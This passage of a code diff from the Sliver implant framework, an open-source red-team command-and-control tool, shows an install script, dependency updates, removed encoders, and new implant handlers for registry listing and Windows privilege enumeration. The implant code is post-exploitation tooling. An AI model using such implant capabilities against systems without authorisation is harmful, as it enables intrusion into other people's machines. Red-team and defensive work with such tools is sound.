0h1zpzK1z6I5jBolyXdznCvm4OPGErynRIsseOtGrYAPFlMdZEUzrVPxbKQ0LVGH
bDA+PBgwwktt6wgJImGal8KpIbI6nVChCyLv/Ry7+mW15BFjDx3Mdf7Og4HN1KmZ
Tync6eEW11sculkC2QWXyrjb+o6bdF/6hNsa4XB2XKPCCMECxrOw5vx3lsau0sot
3hhMbq+FTRXx/pMNEV9c7JaEB1EkV5UAhHHnieOk4NqlIaib5vU6Z8aBHAEvQ1x/
t+GUWEOr5zvtmvd+YGeU6egX7yrqzSUjiS613oq/Nn1x9AS+dZuxMr+H/CiCnR1U
OhrUSywALihikehthAjnZoUml6eDCO9kKss2BTqoNthDTf/WXIRE8bY5gwARAQAB
iQI2BBgBCAAgFiEEDtOQDSls+gKDpORmffkSQERJA5wFAmBlvl8CGwwACgkQffkS
QERJA5xjow/+Ou+JjNXrQ2wsa2bhXmF6sW3Fzwuzf3DnjLUU8U5I0rxvweSuVxYT
uSDw7kj6H/alxPkem/6gUAlasfq70PliH7MrBW36FmGlyFf4rO1qAnLy5w1EIQm3
9C847b0sd7SivVq0Gx1MN25aZA1w1QLPPOQZhf6EXtkVeMOeHOXvmPjyiOcUdaZH
QXMkrTbKL2mudqUiUDrptgf9b7gfW7G7RWRuzgy8+JyxAyqpasfHdD9/9vpU9twu
lT/55TwSWQ0IiorgjfJNtJAVKuZ+73MgPPbH1kmSRcUBEleJOMPZvgCHhs5y3eQS
p5qUN2kQxNXLtWKVE8j9uGzY0DqO583orjATWj52Kz7SM4uio1ZBVLcJht6YPdBH
9MkG5o3Yuzif05VBnBp8AUeLNKkW4wlg9VUwdLFuY/6vDSApbU/BSvffx4BvOGha
2RNzTaiZaiie1Hji3/dsI7dCAfajznuzSmW/fBhDZotKEZr6o1m3OTN4gs3tA/pl
1IjjARdTpaKqQGDtTu520RC5K7AIQvgIVy4sQN0jBZM5qNkr4Qt+U94A3vqjaRGX
5UofpRVFFWGP9QQAuIacdTioF05sBcw15WC9ULxi2lV8vBsVjT9zIS4zxfRE8u/G
DxkLsLOBBZZRXOrgxit+tAqinGJ6N9hOvkUlwTLfJM1tpCEFb/Z786g=
=lxj2
-----END PGP PUBLIC KEY BLOCK-----
EOF
#
# Download and Unpack Sliver Server
@@ -57,44 +124,73 @@ do
fi
done
if test -f "$SLIVER_SERVER_ZIP"; then
unzip -o $SLIVER_SERVER_ZIP -d $HOME
rm -f $SLIVER_SERVER_ZIP
echo "Verifying signatures ..."
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
if test -f "/root/$SLIVER_SERVER_ZIP"; then
unzip -o /root/$SLIVER_SERVER_ZIP -d /root
rm -f /root/$SLIVER_SERVER_ZIP
else
exit 2
fi
if test -f "$HOME/$SLIVER_SERVER"; then
chmod 755 $HOME/$SLIVER_SERVER
$HOME/$SLIVER_SERVER unpack --force
if test -f "/root/$SLIVER_SERVER"; then
chmod 755 /root/$SLIVER_SERVER
/root/$SLIVER_SERVER unpack --force
else
exit 3
fi
if test -f "$SLIVER_CLIENT_ZIP"; then
unzip -o $SLIVER_CLIENT_ZIP -d $HOME
rm -f $SLIVER_CLIENT_ZIP
if test -f "/root/$SLIVER_CLIENT_ZIP"; then
unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
rm -f /root/$SLIVER_CLIENT_ZIP
else
exit 2
fi
if test -f "$HOME/$SLIVER_CLIENT"; then
chmod 755 $HOME/$SLIVER_CLIENT
cp -vv $HOME/$SLIVER_CLIENT /usr/local/bin/sliver
if test -f "/root/$SLIVER_CLIENT"; then
chmod 755 /root/$SLIVER_CLIENT
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
chmod 755 /usr/local/bin/sliver
else
exit 3
fi
# systemd
curl -o ./sliver.service https://sliver.sh/sliver.service
cp ./sliver.service /etc/systemd/system/sliver.service
echo "Configuring systemd service ..."
cat > /etc/systemd/system/sliver.service <<-EOF
[Unit]
Description=Sliver
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=on-failure
RestartSec=3
User=root
ExecStart=/root/sliver-server daemon
[Install]
WantedBy=multi-user.target
EOF
chown root:root /etc/systemd/system/sliver.service
chmod 600 /etc/systemd/system/sliver.service
systemctl start sliver
rm -f ./sliver.service
# generate local configs
mkdir -p $HOME/.sliver-client/configs
/root/sliver-server operator --name $USER --lhost localhost --save $HOME/.sliver-client/configs
chown -R $USER:$USER $HOME/.sliver-client/
# Generate local configs
echo "Generating operator configs ..."
mkdir -p /root/.sliver-client/configs
/root/sliver-server operator --name root --lhost localhost --save /root/.sliver-client/configs
chown -R root:root /root/.sliver-client/
USER_DIRS=(/home/*)
for USER_DIR in "${USER_DIRS[@]}"; do
USER=$(basename $USER_DIR)
if id -u $USER >/dev/null 2>&1; then
mkdir -p $USER_DIR/.sliver-client/configs
/root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
chown -R $USER:$USER $USER_DIR/.sliver-client/
fi
done
+2 -2
View File
@@ -19,8 +19,8 @@
# Creates the static go asset archives
GO_VER="1.16.6"
GARBLE_VER="1.16.7"
GO_VER="1.17"
GARBLE_VER="1.17.1"
GO_ARCH_1="amd64"
GO_ARCH_2="arm64"
+44 -3
View File
@@ -1,6 +1,6 @@
module github.com/bishopfox/sliver
go 1.16
go 1.17
// fix wgctrl requiring old wireguard
replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
@@ -9,10 +9,10 @@ require (
github.com/AlecAivazis/survey/v2 v2.2.2
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.4.16 // indirect
github.com/alecthomas/chroma v0.8.1
github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d
github.com/cheggaaa/pb/v3 v3.0.5
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
@@ -33,6 +33,7 @@ require (
github.com/mattn/go-sqlite3 v1.14.5
github.com/miekg/dns v1.1.35
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pquerna/otp v1.3.0
github.com/sergi/go-diff v1.1.0 // indirect
github.com/sirupsen/logrus v1.7.0
github.com/spf13/cobra v1.1.1
@@ -50,6 +51,46 @@ require (
gorm.io/driver/mysql v1.0.3
gorm.io/driver/postgres v1.0.5
gorm.io/driver/sqlite v1.1.3
gorm.io/gorm v1.20.6
gorm.io/gorm v1.21.14
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
)
require (
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
github.com/VividCortex/ewma v1.1.1 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/desertbit/readline v1.5.1 // indirect
github.com/dlclark/regexp2 v1.2.0 // indirect
github.com/go-sql-driver/mysql v1.5.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
github.com/jackc/pgconn v1.7.0 // indirect
github.com/jackc/pgio v1.0.0 // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgproto3/v2 v2.0.5 // indirect
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
github.com/jackc/pgtype v1.5.0 // indirect
github.com/jackc/pgx/v4 v4.9.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-runewidth v0.0.7 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
golang.org/x/text v0.3.6 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
)
+11 -2
View File
@@ -19,6 +19,8 @@ github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d/go.mod h1:rJLtH
github.com/Binject/debug v0.0.0-20200621050044-63af8e405111/go.mod h1:6WgJ7mEG7ngJkNwwDkEVreDk2dPGg3oqdI6OEWaeDNg=
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf h1:Cx4YJvjPZD91xiffqJOq8l3j1YKcvx3+8duqq7DX9gY=
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
@@ -36,6 +38,7 @@ github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRy
github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA=
github.com/akamensky/argparse v1.2.1/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38 h1:smF2tmSOzy2Mm+0dGI2AIUHY+w0BUc+4tn40djz7+6U=
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38/go.mod h1:r7bzyVFMNntcxPZXK3/+KdruV1H5KSlyVY0gc+NgInI=
github.com/alecthomas/chroma v0.8.1 h1:ym20sbvyC6RXz45u4qDglcgr8E313oPROshcuCHqiEE=
@@ -53,9 +56,9 @@ github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj
github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d h1:OjnsEdBfkfk2ynGBqqWC2Hw3a40Udo1xxJmCkbJRok4=
github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d/go.mod h1:oSZ0f0Zrb3C5CC9ix1ARY7PcxRRmraT0wGSjnUJm9rg=
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
@@ -265,6 +268,8 @@ github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/jinzhu/now v1.1.2 h1:eVKgfIdy9b6zbWBMgFpfDPoAMifwSZagU9HmEU6zgiI=
github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
github.com/jsimonetti/rtnetlink v0.0.0-20190606172950-9527aa82566a/go.mod h1:Oz+70psSo5OFh8DBl0Zv2ACw7Esh6pPUphlvZG9x7uw=
github.com/jsimonetti/rtnetlink v0.0.0-20200117123717-f846d4f6c1f4/go.mod h1:WGuG/smIU4J/54PblvSbh+xvCZmpJnFgr3ds6Z55XMQ=
@@ -359,6 +364,8 @@ github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso=
github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
@@ -682,6 +689,8 @@ gorm.io/gorm v1.20.1/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.20.4/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.20.6 h1:qa7tC1WcU+DBI/ZKMxvXy1FcrlGsvxlaKufHrT2qQ08=
gorm.io/gorm v1.20.6/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.21.14 h1:NAR9A/3SoyiPVHouW/rlpMUZvuQZ6Z6UYGz+2tosSQo=
gorm.io/gorm v1.21.14/go.mod h1:F+OptMscr0P2F2qU97WT1WimdH9GaQPoDW7AYd5i2Y0=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+1
View File
@@ -14,4 +14,5 @@ require (
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 // indirect
github.com/pquerna/otp v1.3.0
)
-42
View File
@@ -1,42 +0,0 @@
package encoders
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/base32"
)
// Base32EncoderID - EncoderID
const Base32EncoderID = 65
// Base32 Encoder
type Base32 struct{}
var base32Alphabet = "ab1c2d3e4f5g6h7j8k9m0npqrtuvwxyz"
var sliverBase32 = base32.NewEncoding(base32Alphabet)
// Encode - Base32 Encode
func (e Base32) Encode(data []byte) []byte {
return []byte(sliverBase32.EncodeToString(data))
}
// Decode - Base32 Decode
func (e Base32) Decode(data []byte) ([]byte, error) {
return sliverBase32.DecodeString(string(data))
}
-210
View File
@@ -1,210 +0,0 @@
package encoders
/*
MIT License
Copyright (c) 2019 Shawn Wang <[email protected]>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
-------------------------------------------------------------------------------
Modifications by moloch to work with Sliver
*/
import (
"math/bits"
"strconv"
)
const (
base = 62
compactMask = 0x1E // 00011110
mask5bits = 0x1F // 00011111
)
// Base62EncoderID - EncoderID
const Base62EncoderID = 43
// Base62 Encoder
type Base62 struct{}
var base62Alphabet = "aBCDEFGHIJKLMNOPQRSTUVWXYZAbcdefghijklmnopqrstuvwxyz0123456789"
// Encode - Base62 Encode
func (e Base62) Encode(data []byte) []byte {
return []byte(NewEncoding(base62Alphabet).EncodeToString(data))
}
// Decode - Base62 Decode
func (e Base62) Decode(data []byte) ([]byte, error) {
return NewEncoding(base62Alphabet).DecodeString(string(data))
}
type Base62Encoder struct {
encode [base]byte
decodeMap [256]byte
}
func NewEncoding(encoder string) *Base62Encoder {
if len(encoder) != base {
panic("encoding alphabet is not 62-bytes long")
}
for i := 0; i < len(encoder); i++ {
if encoder[i] == '\n' || encoder[i] == '\r' {
panic("encoding alphabet contains newline character")
}
}
e := new(Base62Encoder)
copy(e.encode[:], encoder)
for i := 0; i < len(e.decodeMap); i++ {
e.decodeMap[i] = 0xFF
}
for i := 0; i < len(encoder); i++ {
e.decodeMap[encoder[i]] = byte(i)
}
return e
}
func (enc *Base62Encoder) Encode(src []byte) []byte {
if len(src) == 0 {
return []byte{}
}
encoder := newEncoder(src)
return encoder.encode(enc.encode[:])
}
func (enc *Base62Encoder) EncodeToString(src []byte) string {
ret := enc.Encode(src)
return string(ret)
}
type encoder struct {
b []byte
pos int
}
func newEncoder(src []byte) *encoder {
return &encoder{
b: src,
pos: len(src) * 8,
}
}
func (enc *encoder) next() (byte, bool) {
var i, pos int
var j, blen byte
pos = enc.pos - 6
if pos <= 0 {
pos = 0
blen = byte(enc.pos)
} else {
i = pos / 8
j = byte(pos % 8)
blen = byte((i+1)*8 - pos)
if blen > 6 {
blen = 6
}
}
shift := 8 - j - blen
b := enc.b[i] >> shift & (1<<blen - 1)
if blen < 6 && pos > 0 {
blen1 := 6 - blen
b = b<<blen1 | enc.b[i+1]>>(8-blen1)
}
if b&compactMask == compactMask {
if pos > 0 || b > mask5bits {
pos++
}
b &= mask5bits
}
enc.pos = pos
return b, pos > 0
}
func (enc *encoder) encode(encTable []byte) []byte {
ret := make([]byte, 0, len(enc.b)*8/5+1)
x, hasMore := enc.next()
for {
ret = append(ret, encTable[x])
if !hasMore {
break
}
x, hasMore = enc.next()
}
return ret
}
type CorruptInputError int64
func (e CorruptInputError) Error() string {
return "illegal base62 data at input byte " + strconv.FormatInt(int64(e), 10)
}
func (enc *Base62Encoder) Decode(src []byte) ([]byte, error) {
if len(src) == 0 {
return []byte{}, nil
}
dec := decoder(src)
return dec.decode(enc.decodeMap[:])
}
func (enc *Base62Encoder) DecodeString(src string) ([]byte, error) {
return enc.Decode([]byte(src))
}
type decoder []byte
func (dec decoder) decode(decTable []byte) ([]byte, error) {
ret := make([]byte, len(dec)*6/8+1)
idx := len(ret)
pos := byte(0)
b := 0
for i, c := range dec {
x := decTable[c]
if x == 0xFF {
return nil, CorruptInputError(i)
}
if i == len(dec)-1 {
b |= int(x) << pos
pos += byte(bits.Len8(x))
} else if x&compactMask == compactMask {
b |= int(x) << pos
pos += 5
} else {
b |= int(x) << pos
pos += 6
}
if pos >= 8 {
idx--
ret[idx] = byte(b)
pos %= 8
b >>= 8
}
}
if pos > 0 {
idx--
ret[idx] = byte(b)
}
return ret[idx:], nil
}
+2 -2
View File
@@ -1,5 +1,7 @@
package encoders
import "encoding/base64"
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -18,8 +20,6 @@ package encoders
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import "encoding/base64"
// Base64EncoderID - EncoderID
const Base64EncoderID = 13
+15
View File
@@ -69,6 +69,21 @@ func RandomEncoder() (int, Encoder) {
return nonce, EncoderMap[encoderID]
}
// RandomTxtEncoder - Get a random nonce identifier and a matching encoder
func RandomTxtEncoder() (int, Encoder) {
textEncoders := map[int]Encoder{
EnglishEncoderID: English{},
Base64EncoderID: Base64{},
}
keys := make([]int, 0, len(textEncoders))
for k := range textEncoders {
keys = append(keys, k)
}
encoderID := keys[insecureRand.Intn(len(keys))]
nonce := (insecureRand.Intn(maxN) * EncoderModulus) + encoderID
return nonce, textEncoders[encoderID]
}
// NopNonce - A NOP nonce identifies a request with no encoder/payload
// any value where mod = 0
func NopNonce() int {
+10 -1
View File
@@ -28,6 +28,7 @@ import (
"io/ioutil"
"os/exec"
"strings"
"time"
// {{if .Config.Debug}}
"log"
@@ -97,7 +98,8 @@ func dirListHandler(data []byte, resp RPCResponse) {
dir, files, err := getDirList(dirListReq.Path)
// Convert directory listing to protobuf
dirList := &sliverpb.Ls{Path: dir}
timezone, offset := time.Now().Zone()
dirList := &sliverpb.Ls{Path: dir, Timezone: timezone, TimezoneOffset: int32(offset)}
if err == nil {
dirList.Exists = true
} else {
@@ -109,6 +111,13 @@ func dirListHandler(data []byte, resp RPCResponse) {
Name: fileInfo.Name(),
IsDir: fileInfo.IsDir(),
Size: fileInfo.Size(),
/* Send the time back to the client / server as the number of seconds
since epoch. This will decouple formatting the time to display from the
time itself. We can change the format of the time displayed in the client
and not have to worry about having to update implants.
*/
ModTime: fileInfo.ModTime().Unix(),
Mode: fileInfo.Mode().String(),
})
}
+97 -10
View File
@@ -61,18 +61,21 @@ var (
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgExecuteTokenReq: executeTokenHandler,
sliverpb.MsgGetPrivsReq: getPrivsHandler,
// Platform specific
sliverpb.MsgIfconfigReq: ifconfigHandler,
sliverpb.MsgScreenshotReq: screenshotHandler,
sliverpb.MsgSideloadReq: sideloadHandler,
sliverpb.MsgNetstatReq: netstatHandler,
sliverpb.MsgMakeTokenReq: makeTokenHandler,
sliverpb.MsgPsReq: psHandler,
sliverpb.MsgTerminateReq: terminateHandler,
sliverpb.MsgRegistryReadReq: regReadHandler,
sliverpb.MsgRegistryWriteReq: regWriteHandler,
sliverpb.MsgRegistryCreateKeyReq: regCreateKeyHandler,
sliverpb.MsgIfconfigReq: ifconfigHandler,
sliverpb.MsgScreenshotReq: screenshotHandler,
sliverpb.MsgSideloadReq: sideloadHandler,
sliverpb.MsgNetstatReq: netstatHandler,
sliverpb.MsgMakeTokenReq: makeTokenHandler,
sliverpb.MsgPsReq: psHandler,
sliverpb.MsgTerminateReq: terminateHandler,
sliverpb.MsgRegistryReadReq: regReadHandler,
sliverpb.MsgRegistryWriteReq: regWriteHandler,
sliverpb.MsgRegistryCreateKeyReq: regCreateKeyHandler,
sliverpb.MsgRegistrySubKeysListReq: regSubKeysListHandler,
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
// Generic
sliverpb.MsgPing: pingHandler,
@@ -493,3 +496,87 @@ func regCreateKeyHandler(data []byte, resp RPCResponse) {
data, err = proto.Marshal(createResp)
resp(data, err)
}
func regSubKeysListHandler(data []byte, resp RPCResponse) {
listReq := &sliverpb.RegistrySubKeyListReq{}
err := proto.Unmarshal(data, listReq)
if err != nil {
return
}
subKeys, err := registry.ListSubKeys(listReq.Hostname, listReq.Hive, listReq.Path)
regListResp := &sliverpb.RegistrySubKeyList{
Response: &commonpb.Response{},
}
if err != nil {
regListResp.Response.Err = err.Error()
} else {
regListResp.Subkeys = subKeys
}
data, err = proto.Marshal(regListResp)
resp(data, err)
}
func regValuesListHandler(data []byte, resp RPCResponse) {
listReq := &sliverpb.RegistryListValuesReq{}
err := proto.Unmarshal(data, listReq)
if err != nil {
return
}
regValues, err := registry.ListValues(listReq.Hostname, listReq.Hive, listReq.Path)
regListResp := &sliverpb.RegistryValuesList{
Response: &commonpb.Response{},
}
if err != nil {
regListResp.Response.Err = err.Error()
} else {
regListResp.ValueNames = regValues
}
data, err = proto.Marshal(regListResp)
resp(data, err)
}
func getPrivsHandler(data []byte, resp RPCResponse) {
createReq := &sliverpb.GetPrivsReq{}
err := proto.Unmarshal(data, createReq)
if err != nil {
return
}
privsInfo, integrity, processName, err := priv.GetPrivs()
response_data := make([]*sliverpb.WindowsPrivilegeEntry, len(privsInfo))
/*
Translate the PrivilegeInfo structs into
sliverpb.WindowsPrivilegeEntry structs and put them in the data
that will go back to the server / client
*/
for index, entry := range privsInfo {
var currentEntry sliverpb.WindowsPrivilegeEntry
currentEntry.Name = entry.Name
currentEntry.Description = entry.Description
currentEntry.Enabled = entry.Enabled
currentEntry.EnabledByDefault = entry.EnabledByDefault
currentEntry.Removed = entry.Removed
currentEntry.UsedForAccess = entry.UsedForAccess
response_data[index] = &currentEntry
}
// Package up the response
getPrivsResp := &sliverpb.GetPrivs{
PrivInfo: response_data,
ProcessIntegrity: integrity,
ProcessName: processName,
Response: &commonpb.Response{},
}
if err != nil {
getPrivsResp.Response.Err = err.Error()
}
data, err = proto.Marshal(getPrivsResp)
resp(data, err)
}
+268 -1
View File
@@ -26,6 +26,8 @@ import (
"log"
// {{end}}
"bytes"
"encoding/binary"
"fmt"
"os/exec"
"runtime"
@@ -40,9 +42,22 @@ import (
)
const (
THREAD_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xffff
THREAD_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xffff
SECURITY_MANDATORY_LOW_RID = 0x00001000
SECURITY_MANDATORY_MEDIUM_RID = 0x00002000
SECURITY_MANDATORY_HIGH_RID = 0x00003000
SECURITY_MANDATORY_SYSTEM_RID = 0x00004000
)
type PrivilegeInfo struct {
Name string
Description string
Enabled bool
EnabledByDefault bool
Removed bool
UsedForAccess bool
}
var CurrentToken windows.Token
func SePrivEnable(s string) error {
@@ -328,3 +343,255 @@ func GetSystem(data []byte, hostingProcess string) (err error) {
}
return
}
